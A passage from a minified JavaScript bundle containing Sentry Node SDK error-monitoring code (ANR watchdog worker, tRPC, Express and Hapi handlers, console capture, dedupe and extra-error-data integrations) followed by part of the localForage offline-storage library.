nRpbWUoKTsKCiAgcmV0dXJuIHsKICAgIGdldFRpbWVNczogKCkgPT4gewogICAgICBjb25zdCBbc2Vjb25kcywgbmFub1NlY29uZHNdID0gcHJvY2Vzcy5ocnRpbWUobGFzdFBvbGwpOwogICAgICByZXR1cm4gTWF0aC5mbG9vcihzZWNvbmRzICogMWUzICsgbmFub1NlY29uZHMgLyAxZTYpOwogICAgfSwKICAgIHJlc2V0OiAoKSA9PiB7CiAgICAgIGxhc3RQb2xsID0gcHJvY2Vzcy5ocnRpbWUoKTsKICAgIH0sCiAgfTsKfQoKZnVuY3Rpb24gd2F0Y2hkb2dUaW1lb3V0KCkgewogIGxvZygnV2F0Y2hkb2cgdGltZW91dCcpOwoKICBpZiAoZGVidWdnZXJQYXVzZSkgewogICAgbG9nKCdQYXVzaW5nIGRlYnVnZ2VyIHRvIGNhcHR1cmUgc3RhY2sgdHJhY2UnKTsKICAgIGRlYnVnZ2VyUGF1c2UoKTsKICB9IGVsc2UgewogICAgbG9nKCdDYXB0dXJpbmcgZXZlbnQgd2l0aG91dCBhIHN0YWNrIHRyYWNlJyk7CiAgICBzZW5kQW5yRXZlbnQoKS50aGVuKG51bGwsICgpID0+IHsKICAgICAgbG9nKCdTZW5kaW5nIEFOUiBldmVudCBmYWlsZWQgb24gd2F0Y2hkb2cgdGltZW91dC4nKTsKICAgIH0pOwogIH0KfQoKY29uc3QgeyBwb2xsIH0gPSB3YXRjaGRvZ1RpbWVyKGNyZWF0ZUhyVGltZXIsIG9wdGlvbnMucG9sbEludGVydmFsLCBvcHRpb25zLmFuclRocmVzaG9sZCwgd2F0Y2hkb2dUaW1lb3V0KTsKCl9vcHRpb25hbENoYWluKFtwYXJlbnRQb3J0LCAnb3B0aW9uYWxBY2Nlc3MnLCBfNiA9PiBfNi5vbiwgJ2NhbGwnLCBfNyA9PiBfNygnbWVzc2FnZScsIChtc2cpID0+IHsKICBpZiAobXNnLnNlc3Npb24pIHsKICAgIHNlc3Npb24gPSBtYWtlU2Vzc2lvbihtc2cuc2Vzc2lvbik7CiAgfQoKICBwb2xsKCk7Cn0pXSk7"});var ttA=v((hE8,bE8)=>{var{_optionalChain:DA5,_optionalChainDelete:yE8}=H8();Object.defineProperty(hE8,"__esModule",{value:!0});var jA5=CA("url"),XF=sq(),stA=H8(),pm1=z6A(),MA5=RE8(),PA5=50,VA5=5000;function dm1(A,...K){stA.logger.log(`[ANR] ${A}`,...K)}function fA5(){return stA.GLOBAL_OBJ}function NA5(){let A=XF.getGlobalScope().getScopeData();return XF.mergeScopeData(A,XF.getIsolationScope().getScopeData()),XF.mergeScopeData(A,XF.getCurrentScope().getScopeData()),A.attachments=[],A.eventProcessors=[],A}function TA5(){return stA.dynamicRequire(bE8,"worker_threads")}async function vA5(A){let K={message:"ANR"},q={};for(let Y of A.getEventProcessors()){if(K===null)break;K=await Y(K,q)}return DA5([K,"optionalAccess",(Y)=>Y.contexts])||{}}var IE8="Anr",EA5=(A={})=>{if(pm1.NODE_VERSION.major<16||pm1.NODE_VERSION.major===16&&pm1.NODE_VERSION.minor<17)throw Error("ANR detection requires Node 16.17.0 or later");let K,q,Y=fA5();return Y.__SENTRY_GET_SCOPES__=NA5,{name:IE8,setupOnce(){},startWorker:()=>{if(K)return;if(q)K=CA5(q,A)},stopWorker:()=>{if(K)K.then((z)=>{z(),K=void 0})},setup(z){q=z,setImmediate(()=>this.startWorker())}}},SE8=XF.defineIntegration(EA5),kA5=XF.convertIntegrationFnToClass(IE8,SE8);async function CA5(A,K){let q=A.getDsn();if(!q)return()=>{};let Y=await vA5(A);yE8([Y,"access",($)=>$.app,"optionalAccess",($)=>delete $.app_memory]),yE8([Y,"access",($)=>$.device,"optionalAccess",($)=>delete $.free_memory]);let z=A.getOptions(),w=A.getSdkMetadata()||{};if(w.sdk)w.sdk.integrations=z.integrations.map(($)=>$.name);let H={debug:stA.logger.isEnabled(),dsn:q,environment:z.environment||"production",release:z.release,dist:z.dist,sdkMetadata:w,appRootPath:K.appRootPath,pollInterval:K.pollInterval||PA5,anrThreshold:K.anrThreshold||VA5,captureStackTrace:!!K.captureStackTrace,staticTags:K.staticTags||{},contexts:Y};if(H.captureStackTrace){let $=CA("inspector");if(!$.url())$.open(0)}let{Worker:J}=TA5(),O=new J(new jA5.URL(`data:application/javascript;base64,${MA5.base64WorkerScript}`),{workerData:H});process.on("exit",()=>{O.terminate()});let X=setInterval(()=>{try{let $=XF.getCurrentScope().getSession(),_=$?{...$,toJSON:void 0}:void 0;O.postMessage({session:_})}catch($){}},H.pollInterval);return X.unref(),O.on("message",($)=>{if($==="session-ended")dm1("ANR event sent from ANR worker. Clearing session in this thread."),XF.getCurrentScope().setSession(void 0)}),O.once("error",($)=>{clearInterval(X),dm1("ANR worker error",$)}),O.once("exit",($)=>{clearInterval(X),dm1("ANR worker exit",$)}),O.unref(),()=>{O.terminate(),clearInterval(X)}}hE8.Anr=kA5;hE8.anrIntegration=SE8});var uE8=v((xE8)=>{Object.defineProperty(xE8,"__esModule",{value:!0});var yA5=sq(),IA5=ttA();function SA5(A){let K=yA5.getClient();return new IA5.Anr(A).setup(K),Promise.resolve()}xE8.enableAnrDetection=SA5});var cm1=v((gE8)=>{var{_optionalChain:BE8}=H8();Object.defineProperty(gE8,"__esModule",{value:!0});var hHA=sq(),mE8=H8();function bA5(A={}){return function({path:K,type:q,next:Y,rawInput:z}){let w=BE8([hHA.getClient,"call",(X)=>X(),"optionalAccess",(X)=>X.getOptions,"call",(X)=>X()]),H=hHA.getCurrentScope().getTransaction();if(H){H.updateName(`trpc/${K}`),H.setAttribute(hHA.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE,"route"),H.op="rpc.server";let X={procedure_type:q};if(A.attachRpcInput!==void 0?A.attachRpcInput:BE8([w,"optionalAccess",($)=>$.sendDefaultPii]))X.input=mE8.normalize(z);H.setContext("trpc",X)}function J(X){if(!X.ok)hHA.captureException(X.error,{mechanism:{handled:!1,data:{function:"trpcMiddleware"}}})}let O;try{O=Y()}catch(X){throw hHA.captureException(X,{mechanism:{handled:!1,data:{function:"trpcMiddleware"}}}),X}if(mE8.isThenable(O))Promise.resolve(O).then((X)=>{J(X)},(X)=>{hHA.captureException(X,{mechanism:{handled:!1,data:{function:"trpcMiddleware"}}})});else J(O);return O}}gE8.trpcMiddleware=bA5});var UE8=v((QE8)=>{Object.defineProperty(QE8,"__esModule",{value:!0});var FE8=H8();function uA5(A,K){return FE8.extractRequestData(A,{include:K})}function BA5(A,K,q={}){return FE8.addRequestDataToEvent(A,K,{include:q})}QE8.extractRequestData=uA5;QE8.parseRequest=BA5});var cE8=v((dE8)=>{var{_optionalChain:etA}=H8();Object.defineProperty(dE8,"__esModule",{value:!0});var l_=sq(),bHA=H8(),FA5=nvA(),AeA=Qm1(),QA5=cm1(),pE8=UE8();function UA5(){return function(K,q,Y){let z=etA([l_.getClient,"call",($)=>$(),"optionalAccess",($)=>$.getOptions,"call",($)=>$()]);if(!z||z.instrumenter!=="sentry"||etA([K,"access",($)=>$.method,"optionalAccess",($)=>$.toUpperCase,"call",($)=>$()])==="OPTIONS"||etA([K,"access",($)=>$.method,"optionalAccess",($)=>$.toUpperCase,"call",($)=>$()])==="HEAD")return Y();let w=K.headers&&bHA.isString(K.headers["sentry-trace"])?K.headers["sentry-trace"]:void 0,H=etA([K,"access",($)=>$.headers,"optionalAccess",($)=>$.baggage]);if(!l_.hasTracingEnabled(z))return Y();let[J,O]=bHA.extractPathForTransaction(K,{path:!0,method:!0}),X=l_.continueTrace({sentryTrace:w,baggage:H},($)=>l_.startTransaction({name:J,op:"http.server",origin:"auto.http.node.tracingHandler",...$,data:{[l_.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE]:O},metadata:{...$.metadata,request:K}},{request:bHA.extractRequestData(K)}));l_.getCurrentScope().setSpan(X),q.__sentry_transaction=X,q.once("finish",()=>{setImmediate(()=>{bHA.addRequestDataToTransaction(X,K),l_.setHttpStatus(X,q.statusCode),X.end()})}),Y()}}function pA5(A={}){let K;if("include"in A)K={include:A.include};else{let{ip:q,request:Y,transaction:z,user:w}=A;if(q||Y||z||w)K={include:bHA.dropUndefinedKeys({ip:q,request:Y,transaction:z,user:w})}}return K}function dA5(A){let K=pA5(A),q=l_.getClient();if(q&&AeA.isAutoSessionTrackingEnabled(q)){q.initSessionFlusher();let Y=l_.getCurrentScope();if(Y.getSession())Y.setSession()}return function(z,w,H){if(A&&A.flushTimeout&&A.flushTimeout>0){let J=w.end;w.end=function(O,X,$){l_.flush(A.flushTimeout).then(()=>{J.call(this,O,X,$)}).then(null,(_)=>{FA5.DEBUG_BUILD&&bHA.logger.error(_),J.call(this,O,X,$)})}}l_.runWithAsyncContext(()=>{let J=l_.getCurrentScope();J.setSDKProcessingMetadata({request:z,requestDataOptionsFromExpressHandler:K});let O=l_.getClient();if(AeA.isAutoSessionTrackingEnabled(O))J.setRequestSession({status:"ok"});w.once("finish",()=>{let X=l_.getClient();if(AeA.isAutoSessionTrackingEnabled(X))setImmediate(()=>{if(X&&X._captureRequestSession)X._captureRequestSession()})}),H()})}}function cA5(A){let K=A.status||A.statusCode||A.status_code||A.output&&A.output.statusCode;return K?parseInt(K,10):500}function lA5(A){return cA5(A)>=500}function iA5(A){return function(q,Y,z,w){if((A&&A.shouldHandleError||lA5)(q)){l_.withScope((J)=>{J.setSDKProcessingMetadata({request:Y});let O=z.__sentry_transaction;if(O&&!l_.getActiveSpan())J.setSpan(O);let X=l_.getClient();if(X&&AeA.isAutoSessionTrackingEnabled(X)){if(X._sessionFlusher!==void 0){let G=J.getRequestSession();if(G&&G.status!==void 0)G.status="crashed"}}let $=l_.captureException(q,{mechanism:{type:"middleware",handled:!1}});z.sentry=$,w(q)});return}w(q)}}var nA5=QA5.trpcMiddleware;dE8.extractRequestData=pE8.extractRequestData;dE8.parseRequest=pE8.parseRequest;dE8.errorHandler=iA5;dE8.requestHandler=dA5;dE8.tracingHandler=UA5;dE8.trpcMiddleware=nA5});var lm1=v((sE8)=>{Object.defineProperty(sE8,"__esModule",{value:!0});var OV=sq(),iE8=H8();function lE8(A){return A&&A.statusCode!==void 0}function A15(A){return A&&A.error!==void 0}function K15(A){OV.captureException(A,{mechanism:{type:"hapi",handled:!1,data:{function:"hapiErrorPlugin"}}})}var nE8={name:"SentryHapiErrorPlugin",version:OV.SDK_VERSION,register:async function(A){A.events.on("request",(q,Y)=>{let z=OV.getActiveTransaction();if(A15(Y))K15(Y.error);if(z)z.setStatus("internal_error"),z.end()})}},rE8={name:"SentryHapiTracingPlugin",version:OV.SDK_VERSION,register:async function(A){let K=A;K.ext("onPreHandler",(q,Y)=>{let z=OV.continueTrace({sentryTrace:q.headers["sentry-trace"]||void 0,baggage:q.headers.baggage||void 0},(w)=>{return OV.startTransaction({...w,op:"hapi.request",name:q.route.path,description:`${q.route.method} ${q.path}`})});return OV.getCurrentScope().setSpan(z),Y.continue}),K.ext("onPreResponse",(q,Y)=>{let z=OV.getActiveTransaction();if(q.response&&lE8(q.response)&&z){let w=q.response;w.header("sentry-trace",OV.spanToTraceHeader(z));let H=iE8.dynamicSamplingContextToSentryBaggageHeader(OV.getDynamicSamplingContextFromSpan(z));if(H)w.header("baggage",H)}return Y.continue}),K.ext("onPostHandler",(q,Y)=>{let z=OV.getActiveTransaction();if(z){if(q.response&&lE8(q.response))OV.setHttpStatus(z,q.response.statusCode);z.end()}return Y.continue})}},oE8="Hapi",q15=(A={})=>{let K=A.server;return{name:oE8,setupOnce(){if(!K)return;iE8.fill(K,"start",(q)=>{return async function(){return await this.register(rE8),await this.register(nE8),q.apply(this)}})}}},aE8=OV.defineIntegration(q15),Y15=OV.convertIntegrationFnToClass(oE8,aE8);sE8.Hapi=Y15;sE8.hapiErrorPlugin=nE8;sE8.hapiIntegration=aE8;sE8.hapiTracingPlugin=rE8});var eE8=v((tE8)=>{Object.defineProperty(tE8,"__esModule",{value:!0});var O15=btA(),X15=mtA(),$15=ctA(),_15=itA(),G15=UtA(),Z15=BtA(),W15=xtA(),D15=sq(),j15=QtA(),M15=otA(),P15=ntA(),V15=ttA(),f15=lm1();tE8.Console=O15.Console;tE8.Http=X15.Http;tE8.OnUncaughtException=$15.OnUncaughtException;tE8.OnUnhandledRejection=_15.OnUnhandledRejection;tE8.Modules=G15.Modules;tE8.ContextLines=Z15.ContextLines;tE8.Context=W15.Context;tE8.RequestData=D15.RequestData;tE8.LocalVariables=j15.LocalVariables;tE8.Undici=M15.Undici;tE8.Spotlight=P15.Spotlight;tE8.Anr=V15.Anr;tE8.Hapi=f15.Hapi});var Kk8=v((Ak8)=>{Object.defineProperty(Ak8,"__esModule",{value:!0});var $6A=vm1();Ak8.Apollo=$6A.Apollo;Ak8.Express=$6A.Express;Ak8.GraphQL=$6A.GraphQL;Ak8.Mongo=$6A.Mongo;Ak8.Mysql=$6A.Mysql;Ak8.Postgres=$6A.Postgres;Ak8.Prisma=$6A.Prisma});var wk8=v((zk8)=>{Object.defineProperty(zk8,"__esModule",{value:!0});var _6A=sq(),G6A=H8(),qk8="CaptureConsole",U15=(A={})=>{let K=A.levels||G6A.CONSOLE_LEVELS;return{name:qk8,setupOnce(){},setup(q){if(!("console"in G6A.GLOBAL_OBJ))return;G6A.addConsoleInstrumentationHandler(({args:Y,level:z})=>{if(_6A.getClient()!==q||!K.includes(z))return;d15(Y,z)})}}},Yk8=_6A.defineIntegration(U15),p15=_6A.convertIntegrationFnToClass(qk8,Yk8);function d15(A,K){let q={level:G6A.severityLevelFromString(K),extra:{arguments:A}};_6A.withScope((Y)=>{if(Y.addEventProcessor((H)=>{return H.logger="console",G6A.addExceptionMechanism(H,{handled:!1,type:"console"}),H}),K==="assert"&&A[0]===!1){let H=`Assertion failed: ${G6A.safeJoin(A.slice(1)," ")||"console.assert"}`;Y.setExtra("arguments",A.slice(1)),_6A.captureMessage(H,q);return}let z=A.find((H)=>H instanceof Error);if(K==="error"&&z){_6A.captureException(z,q);return}let w=G6A.safeJoin(A," ");_6A.captureMessage(w,q)})}zk8.CaptureConsole=p15;zk8.captureConsoleIntegration=Yk8});var $k8=v((Xk8)=>{Object.defineProperty(Xk8,"__esModule",{value:!0});var Hk8=sq(),i15=H8(),Jk8="Debug",n15=(A={})=>{let K={debugger:!1,stringify:!1,...A};return{name:Jk8,setupOnce(){},setup(q){if(!q.on)return;q.on("beforeSendEvent",(Y,z)=>{if(K.debugger)debugger;i15.consoleSandbox(()=>{if(K.stringify){if(console.log(JSON.stringify(Y,null,2)),z&&Object.keys(z).length)console.log(JSON.stringify(z,null,2))}else if(console.log(Y),z&&Object.keys(z).length)console.log(z)})})}}},Ok8=Hk8.defineIntegration(n15),r15=Hk8.convertIntegrationFnToClass(Jk8,Ok8);Xk8.Debug=r15;Xk8.debugIntegration=Ok8});var ovA=v((_k8)=>{Object.defineProperty(_k8,"__esModule",{value:!0});var s15=typeof __SENTRY_DEBUG__>"u"||__SENTRY_DEBUG__;_k8.DEBUG_BUILD=s15});var Nk8=v((fk8)=>{Object.defineProperty(fk8,"__esModule",{value:!0});var Wk8=sq(),e15=H8(),A65=ovA(),Dk8="Dedupe",K65=()=>{let A;return{name:Dk8,setupOnce(){},processEvent(K){if(K.type)return K;try{if(Mk8(K,A))return A65.DEBUG_BUILD&&e15.logger.warn("Event dropped due to being a duplicate of previously captured event."),null}catch(q){}return A=K}}},jk8=Wk8.defineIntegration(K65),q65=Wk8.convertIntegrationFnToClass(Dk8,jk8);function Mk8(A,K){if(!K)return!1;if(Y65(A,K))return!0;if(z65(A,K))return!0;return!1}function Y65(A,K){let q=A.message,Y=K.message;if(!q&&!Y)return!1;if(q&&!Y||!q&&Y)return!1;if(q!==Y)return!1;if(!Vk8(A,K))return!1;if(!Pk8(A,K))return!1;return!0}function z65(A,K){let q=Gk8(K),Y=Gk8(A);if(!q||!Y)return!1;if(q.type!==Y.type||q.value!==Y.value)return!1;if(!Vk8(A,K))return!1;if(!Pk8(A,K))return!1;return!0}function Pk8(A,K){let q=Zk8(A),Y=Zk8(K);if(!q&&!Y)return!0;if(q&&!Y||!q&&Y)return!1;if(q=q,Y=Y,Y.length!==q.length)return!1;for(let z=0;z<Y.length;z++){let w=Y[z],H=q[z];if(w.filename!==H.filename||w.lineno!==H.lineno||w.colno!==H.colno||w.function!==H.function)return!1}return!0}function Vk8(A,K){let q=A.fingerprint,Y=K.fingerprint;if(!q&&!Y)return!0;if(q&&!Y||!q&&Y)return!1;q=q,Y=Y;try{return q.join("")===Y.join("")}catch(z){return!1}}function Gk8(A){return A.exception&&A.exception.values&&A.exception.values[0]}function Zk8(A){let K=A.exception;if(K)try{return K.values[0].stacktrace.frames}catch(q){return}return}fk8.Dedupe=q65;fk8._shouldDropEvent=Mk8;fk8.dedupeIntegration=jk8});var Ck8=v((kk8)=>{Object.defineProperty(kk8,"__esModule",{value:!0});var Tk8=sq(),Mi=H8(),O65=ovA(),vk8="ExtraErrorData",X65=(A={})=>{let K=A.depth||3,q=A.captureErrorCause||!1;return{name:vk8,setupOnce(){},processEvent(Y,z){return _65(Y,z,K,q)}}},Ek8=Tk8.defineIntegration(X65),$65=Tk8.convertIntegrationFnToClass(vk8,Ek8);function _65(A,K={},q,Y){if(!K.originalException||!Mi.isError(K.originalException))return A;let z=K.originalException.name||K.originalException.constructor.name,w=G65(K.originalException,Y);if(w){let H={...A.contexts},J=Mi.normalize(w,q);if(Mi.isPlainObject(J))Mi.addNonEnumerableProperty(J,"__sentry_skip_normalization__",!0),H[z]=J;return{...A,contexts:H}}return A}function G65(A,K){try{let q=["name","message","stack","line","column","fileName","lineNumber","columnNumber","toJSON"],Y={};for(let z of Object.keys(A)){if(q.indexOf(z)!==-1)continue;let w=A[z];Y[z]=Mi.isError(w)?w.toString():w}if(K&&A.cause!==void 0)Y.cause=Mi.isError(A.cause)?A.cause.toString():A.cause;if(typeof A.toJSON==="function"){let z=A.toJSON();for(let w of Object.keys(z)){let H=z[w];Y[w]=Mi.isError(H)?H.toString():H}}return Y}catch(q){O65.DEBUG_BUILD&&Mi.logger.error("Unable to extract extra data from the Error object:",q)}return null}kk8.ExtraErrorData=$65;kk8.extraErrorDataIntegration=Ek8});var Rk8=v((Lk8,im1)=>{/*! localForage -- Offline Storage, Improved Version 1.10.0 https://localforage.github.io/localForage (c) 2013-2017 Mozilla, Apache License 2.0 */(function(A){if(typeof Lk8==="object"&&typeof im1<"u")im1.exports=A();else if(typeof define==="function"&&define.amd)define([],A);else{var K;if(typeof window<"u")K=window;else if(typeof global<"u")K=global;else if(typeof self<"u")K=self;else K=this;K.localforage=A()}})(function(){var A,K,q;return function Y(z,w,H){function J($,_){if(!w[$]){if(!z[$]){var G=CA;if(!_&&G)return G($,!0);if(O)return O($,!0);var Z=Error("Cannot find module '"+$+"'");throw Z.code="MODULE_NOT_FOUND",Z}var W=w[$]={exports:{}};z[$][0].call(W.exports,function(D){var j=z[$][1][D];return J(j?j:D)},W,W.exports,Y,z,w,H)}return w[$].exports}var O=CA;for(var X=0;X<H.length;X++)J(H[X]);return J}({1:[function(Y,z,w){(function(H){var J=H.MutationObserver||H.WebKitMutationObserver,O;if(J){var X=0,$=new J(D),_=H.document.createTextNode("");$.observe(_,{characterData:!0}),O=function(){_.data=X=++X%2}}else if(!H.setImmediate&&typeof H.MessageChannel<"u"){var G=new H.MessageChannel;G.port1.onmessage=D,O=function(){G.port2.postMessage(0)}}else if("document"in H&&"onreadystatechange"in H.document.createElement("script"))O=function(){var M=H.document.createElement("script");M.onreadystatechange=function(){D(),M.onreadystatechange=null,M.parentNode.removeChild(M),M=null},H.document.documentElement.appendChild(M)};else O=function(){setTimeout(D,0)};var Z,W=[];function D(){Z=!0;var M,P,f=W.length;while(f){P=W,W=[],M=-1;while(++M<f)P[M]();f=W.length}Z=!1}z.exports=j;function j(M){if(W.push(M)===1&&!Z)O()}}).call(this,typeof global<"u"?global:typeof self<"u"?self:typeof window<"u"?window:{})},{}],2:[function(Y,z,w){var H=Y(1);function J(){}var O={},X=["REJECTED"],$=["FULFILLED"],_=["PENDING"];z.exports=G;function G(C){if(typeof C!=="function")throw TypeError("resolver must be a function");if(this.state=_,this.queue=[],this.outcome=void 0,C!==J)j(this,C)}G.prototype.catch=function(C){return this.then(null,C)},G.prototype.then=function(C,R){if(typeof C!=="function"&&this.state===$||typeof R!=="function"&&this.state===X)return this;var x=new this.constructor(J);if(this.state!==_){var y=this.state===$?C:R;W(x,y,this.outcome)}else this.queue.push(new Z(x,C,R));return x};function Z(C,R,x){if(this.promise=C,typeof R==="function")this.onFulfilled=R,this.callFulfilled=this.otherCallFulfilled;if(typeof x==="function")this.onRejected=x,this.callRejected=this.otherCallRejected}Z.prototype.callFulfilled=function(C){O.resolve(this.promise,C)},Z.prototype.otherCallFulfilled=function(C){W(this.promise,this.onFulfilled,C)},Z.prototype.callRejected=function(C){O.reject(this.promise,C)},Z.prototype.otherCallRejected=function(C){W(this.promise,this.onRejected,C)};function W(C,R,x){H(function(){var y;try{y=R(x)}catch(B){return O.reject(C,B)}if(y===C)O.reject(C,TypeError("Cannot resolve promise with itself"));else O.resolve(C,y)})}O.resolve=function(C,R){var x=M(D,R);if(x.status==="error")return O.reject(C,x.value);var y=x.value;if(y)j(C,y);else{C.state=$,C.outcome=R;var B=-1,b=C.queue.length;while(++B<b)C.queue[B].callFulfilled(R)}return C},O.reject=function(C,R){C.state=X,C.outcome=R;var x=-1,y=C.queue.length;while(++x<y)C.queue[x].callRejected(R);return C};function D(C){var R=C&&C.then;if(C&&(typeof C==="object"||typeof C==="function")&&typeof R==="function")return function(){R.apply(C,arguments)}}function j(C,R){var x=!1;function y(Q){if(x)return;x=!0,O.reject(C,Q)}function B(Q){if(x)return;x=!0,O.resolve(C,Q)}function b(){R(B,y)}var F=M(b);if(F.status==="error")y(F.value)}function M(C,R){var x={};try{x.value=C(R),x.status="success"}catch(y){x.status="error",x.value=y}return x}G.resolve=P;function P(C){if(C instanceof this)return C;return O.resolve(new this(J),C)}G.reject=f;function f(C){var R=new this(J);return O.reject(R,C)}G.all=N;function N(C){var R=this;if(Object.prototype.toString.call(C)!=="[object Array]")return this.reject(TypeError("must be an array"));var x=C.length,y=!1;if(!x)return this.resolve([]);var B=Array(x),b=0,F=-1,Q=new this(J);while(++F<x)u(C[F],F);return Q;function u(d,r){R.resolve(d).then(c,function(YA){if(!y)y=!0,O.reject(Q,YA)});function c(YA){if(B[r]=YA,++b===x&&!y)y=!0,O.resolve(Q,B)}}}G.race=T;function T(C){var R=this;if(Object.prototype.toString.call(C)!=="[object Array]")return this.reject(TypeError("must be an array"));var x=C.length,y=!1;if(!x)return this.resolve([]);var B=-1,b=new this(J);while(++B<x)F(C[B]);return b;function F(Q){R.resolve(Q).then(function(u){if(!y)y=!0,O.resolve(b,u)},function(u){if(!y)y=!0,O.reject(b,u)})}}},{"1":1}],3:[function(Y,z,w){(function(H){if(typeof H.Promise!=="function")H.Promise=Y(2)}).call(this,typeof global<"u"?global:typeof self<"u"?self:typeof window<"u"?window:{})},{"2":2}],4:[function(Y,z,w){var H=typeof Symbol==="function"&&typeof Symbol.iterator==="symbol"?function(q1){return typeof q1}:function(q1){return q1&&typeof Symbol==="function"&&q1.constructor===Symbol&&q1!==Symbol.prototype?"symbol":typeof q1};function J(q1,NA){if(!(q1 instanceof NA))throw TypeError("Cannot call a class as a function")}function O(){try{if(typeof indexedDB<"u")return indexedDB;if(typeof webkitIndexedDB<"u")return webkitIndexedDB;if(typeof mozIndexedDB<"u")return mozIndexedDB;if(typeof OIndexedDB<"u")return OIndexedDB;if(typeof msIndexedDB<"u")return msIndexedDB}catch(q1){return}}var X=O();function $(){try{if(!X||!X.open)return!1;var q1=typeof openDatabase<"u"&&/(Safari|iPhone|iPad|iPod)/.test(navigator.userAgent)&&!/Chrome/.test(navigator.userAgent)&&!/BlackBerry/.test(navigator.platform),NA=typeof fetch==="function"&&fetch.toString().indexOf("[native code")!==-1;return(!q1||NA)&&typeof indexedDB<"u"&&typeof IDBKeyRange<"u"}catch(ZA){return!1}}function _(q1,NA){q1=q1||[],NA=NA||{};try{return new Blob(q1,NA)}catch(dA){if(dA.name!=="TypeError")throw dA;var ZA=typeof BlobBuilder<"u"?BlobBuilder:typeof MSBlobBuilder<"u"?MSBlobBuilder:typeof MozBlobBuilder<"u"?MozBlobBuilder:WebKitBlobBuilder,gA=new ZA;for(var pA=0;pA<q1.length;pA+=1)gA.append(q1[pA]);return gA.getBlob(NA.type)}}if(typeof Promise>"u")Y(3);var G=Promise;function Z(q1,NA){if(NA)q1.then(function(ZA){NA(null,ZA)},function(ZA){NA(ZA)})}function W(q1,NA,ZA){if(typeof NA==="function")q1.then(NA);if(typeof ZA==="function")q1.catch(ZA)}function D(q1){if(typeof q1!=="string")console.warn(q1+" used as a key, but it is not a string."),q1=String(q1);return q1}function j(){if(arguments.length&&typeof arguments[arguments.length-1]==="function")return arguments[arguments.length-1]}var M="local-forage-detect-blob-support",P=void 0,f={},N=Object.prototype.toString,T="readonly",C="readwrite";function R(q1){var NA=q1.length,ZA=new ArrayBuffer(NA),gA=new Uint8Array(ZA);for(var pA=0;pA<NA;pA++)gA[pA]=q1.charCodeAt(pA);return ZA}function x(q1){return new G(function(NA){var ZA=q1.transaction(M,C),gA=_([""]);ZA.objectStore(M).put(gA,"key"),ZA.onabort=function(pA){pA.preventDefault(),pA.stopPropagation(),NA(!1)},ZA.oncomplete=function(){var pA=navigator.userAgent.match(/Chrome\/(\d+)/),dA=navigator.userAgent.match(/Edge\//);NA(dA||!pA||parseInt(pA[1],10)>=43)}}).catch(function(){return!1})}function y(q1){if(typeof P==="boolean")return G.resolve(P);return x(q1).then(function(NA){return P=NA,P})}function B(q1){var NA=f[q1.name],ZA={};if(ZA.promise=new G(function(gA,pA){ZA.resolve=gA,ZA.reject=pA}),NA.deferredOperations.push(ZA),!NA.dbReady)NA.dbReady=ZA.promise;else NA.dbReady=NA.dbReady.then(function(){return ZA.promise})}function b(q1){var NA=f[q1.name],ZA=NA.deferredOperations.pop();if(ZA)return ZA.resolve(),ZA.promise}function F(q1,NA){var ZA=f[q1.name],gA=ZA.deferredOperations.pop();if(gA)return gA.reject(NA),gA.promise}function Q(q1,NA){return new G(function(ZA,gA){if(f[q1.name]=f[q1.name]||a(),q1.db)if(NA)B(q1),q1.db.close();else return ZA(q1.db);var pA=[q1.name];if(NA)pA.push(q1.version);var dA=X.open.apply(X,pA);if(NA)dA.onupgradeneeded=function(G1){var R1=dA.result;try{if(R1.createObjectStore(q1.storeName),G1.oldVersion<=1)R1.createObjectStore(M)}catch(u1){if(u1.name==="ConstraintError")console.warn('The database "'+q1.name+'" has been upgraded from version '+G1.oldVersion+" to version "+G1.newVersion+', but the storage "'+q1.storeName+'" already exists.');else throw u1}};dA.onerror=function(G1){G1.preventDefault(),gA(dA.error)},dA.onsuccess=function(){var G1=dA.result;G1.onversionchange=function(R1){R1.target.close()},ZA(G1),b(q1)}})}function u(q1){return Q(q1,!1)}function d(q1){return Q(q1,!0)}function r(q1,NA){if(!q1.db)return!0;var ZA=!q1.db.objectStoreNames.contains(q1.storeName),gA=q1.version<q1.db.version,pA=q1.version>q1.db.version;if(gA){if(q1.version!==NA)console.warn('The database "'+q1.name+`" can't be downgraded from version `+q1.db.version+" to version "+q1.version+".");q1.version=q1.db.version}if(pA||ZA){if(ZA){var dA=q1.db.version+1;if(dA>q1.version)q1.version=dA}return!0}return!1}function c(q1){return new G(function(NA,ZA){var gA=new FileReader;gA.onerror=ZA,gA.onloadend=function(pA){var dA=btoa(pA.target.result||"");NA({__local_forage_encoded_blob:!0,data:dA,type:q1.type})},gA.readAsBinaryString(q1)})}function YA(q1){var NA=R(atob(q1.data));return _([NA],{type:q1.type})}function e(q1){return q1&&q1.__local_forage_encoded_blob}function qA(q1){var NA=this,ZA=NA._initReady().then(function(){var gA=f[NA._dbInfo.name];if(gA&&gA.dbReady)return gA.dbReady});return W(ZA,q1,q1),ZA}function HA(q1){B(q1);var NA=f[q1.name],ZA=NA.forages;for(var gA=0;gA<ZA.length;gA++){var pA=ZA[gA];if(pA._dbInfo.db)pA._dbInfo.db.close(),pA._dbInfo.db=null}return q1.db=null,u(q1).then(function(dA){if(q1.db=dA,r(q1))return d(q1);return dA}).then(function(dA){q1.db=NA.db=dA;for(var G1=0;G1<ZA.length;G1++)ZA[G1]._dbInfo.db=dA}).catch(function(dA){throw F(q1,dA),dA})}function _A(q1,NA,ZA,gA){if(gA===void 0)gA=1;try{var pA=q1.db.transaction(q1.storeName,NA);ZA(null,pA)}catch(dA){if(gA>0&&(!q1.db||dA.name==="InvalidStateError"||dA.name==="NotFoundError"))return G.resolve().then(function(){if(!q1.db||dA.name==="NotFoundError"&&!q1.db.objectStoreNames.contains(q1.storeName)&&q1.version<=q1.db.version){if(q1.db)q1.version=q1.db.version+1;return d(q1)}}).then(function(){return HA(q1).then(function(){_A(q1,NA,ZA,gA-1)})}).catch(ZA);ZA(dA)}}function a(){return{forages:[],db:null,dbReady:null,deferredOperations:[]}}function JA(q1){var NA=this,ZA={db:null};if(q1)for(var gA in q1)ZA[gA]=q1[gA];var pA=f[ZA.name];if(!pA)pA=a(),f[ZA.name]=pA;if(pA.forages.push(NA),!NA._initReady)NA._initReady=NA.ready,NA.ready=qA;var dA=[];function G1(){return G.resolve()}for(var R1=0;R1<pA.forages.length;R1++){var u1=pA.forages[R1];if(u1!==NA)dA.push(u1._initReady().catch(G1))}var s1=pA.forages.slice(0);return G.all(dA).then(function(){return ZA.db=pA.db,u(ZA)}).then(function(E1){if(ZA.db=E1,r(ZA,NA._defaultConfig.version))return d(ZA);return 